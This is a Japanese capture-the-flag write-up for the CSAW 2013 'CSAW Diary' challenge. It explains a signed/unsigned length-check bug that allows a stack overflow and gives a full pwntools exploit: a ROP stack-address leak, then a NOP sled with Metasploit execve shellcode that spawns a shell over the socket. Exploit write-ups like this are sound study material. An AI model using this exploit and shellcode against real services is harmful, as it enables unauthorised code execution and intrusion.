かなりの時間はかかったが大半は自力で解いた。

CSAW Diary

nc 128.238.66.217 34266
fil_chal

与えられるバイナリは34266番portを開くサーバ。 接続するとloginを要求されるが、これはバイナリ中に平文で置いてあるのでそれを渡す。 するとEntry Info: と入力を促される。まず入力長となる整数を入力し、内容の文字列を入力する。 単純なbuffer overflowはない。

$ nc localhost 34266
     *************    $$$$$$$$$        AAAAAAA  *****                   *****
    *   *******  *    $ $$   $$        A     A   *   *                 *   * 
    *  *       ***     $ $   $$       A  A A  A   *   *               *   *  
    *  *                $ $          A  A___A  A   *   *             *   *   
    *  *                 $ $        A           A   *   *    ****   *   *
    *  *                  $ $      A     AAA     A   *   *   *  *  *   *
    *  *       ***         $ $     A    A   A    A    *   ***   ***   *
    *  ********  *   $$$$$$   $    A    A   A    A     *             * 
     *************   $$$$$$$$$$    AAAAAA   AAAAAA      ************* 
                Dairy

UserName: csaw2013
Password: S1mplePWD
Welcome!
http://youtu.be/KmtzQCSh6xk

Entry Info: 30
foo
Til next time

nx bitはない。

$ checksec --file fil_chal
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      FILE
Full RELRO      No canary found   NX disabled   No PIE          No RPATH   No RUNPATH   fil_chal

脆弱性となるのは入力長の整数とそのsignedunsignedを混同した比較である。 内部で(unsigned)(n+1) <= 0x400と比較されるので、ここに-1を渡すと0 < 0x400となりチェックを通過できる。このため0xffffffff文字まで書き込めることになり、stack上のbuffer overflowが可能となる。 あとは、stackのアドレスは再接続により変わらないため、簡単なropによりstackを読み出し、これから得られたアドレスを元にstack上のshellcodeにreturnすればよい。

本来のbufferの範囲にはasciiの範囲の文字しか入力できないようチェックがあるが、これは攻撃には影響しない。 アドレスの読み出しは不安定なのでsledと手での調整で適当にする。

ところでyoutubeへのurlは何だったのだろうか。

#!/usr/bin/env python2
from pwn import * # https://pypi.python.org/pypi/pwntools
import time

context.log_level = 'debug'

##
## leak esp
##

p = remote('localhost', 34266)
p.recvuntil('UserName: ')
p.sendline('csaw2013')
p.recvuntil('Password: ')
p.sendline('S1mplePWD')
p.recvuntil('Entry Info: ')
p.sendline('-1')

# buf + 0x420 - 8 ebx
# buf + 0x420 - 4 edi
# buf + 0x420     ebp
# buf + 0x420 + 4 ret
# buf + 0x420 + 4 + 0x1c ebp

call_send = 0x08048d04
pop0_ret = 0x0804868f # rp -r 0 -f fil_chal --unique

payload = ''
payload += 'A' * 0x420 # buf[0x400], it must be filled with ascii
payload += p32(pop0_ret) * 5
payload += p32(call_send) # send(4, ebp, -1, 0)
payload += p32(4) # socket fd
p.sendline(payload)
s = p.recvall()

# find a stack-like addr
for i in range(len(s)-4):
    if s[i+3] == '\xff' and '\0' not in s[i:i+4]:
        stk = u32(s[i:i+4])
        break
stk -= 0x100 # magic offset, hand tweaked
log.success('got stack addr: ' + hex(stk))

##
## attack
##

p = remote('localhost', 34266)
p.recvuntil('UserName: ')
p.sendline('csaw2013')
p.recvuntil('Password: ')
p.sendline('S1mplePWD')
p.recvuntil('Entry Info: ')
p.sendline('-1')

# metasploit
# >   $ msfconsole
# >   msf payload(shell_bind_tcp) > use payload/linux/x86/exec
# >   msf payload(exec) > generate -o CMD='/bin/sh 0<&4 1>&4'
shellcode = \
    "\x6a\x0b\x58\x99\x52\x66\x68\x2d\x63\x89\xe7\x68\x2f\x73" + \
    "\x68\x00\x68\x2f\x62\x69\x6e\x89\xe3\x52\xe8\x12\x00\x00" + \
    "\x00\x2f\x62\x69\x6e\x2f\x73\x68\x20\x30\x3c\x26\x34\x20" + \
    "\x31\x3e\x26\x34\x00\x57\x53\x89\xe1\xcd\x80"

payload = ''
payload += 'A' * 0x420 # buf[0x400], it must be filled with ascii
payload += p32(stk)
payload += '\x90' * 0x100 # nop sled, if you make it longer, sigsegv will happen
payload += shellcode
p.sendline(payload)

time.sleep(0.1)
p.sendline('ls')
p.interactive()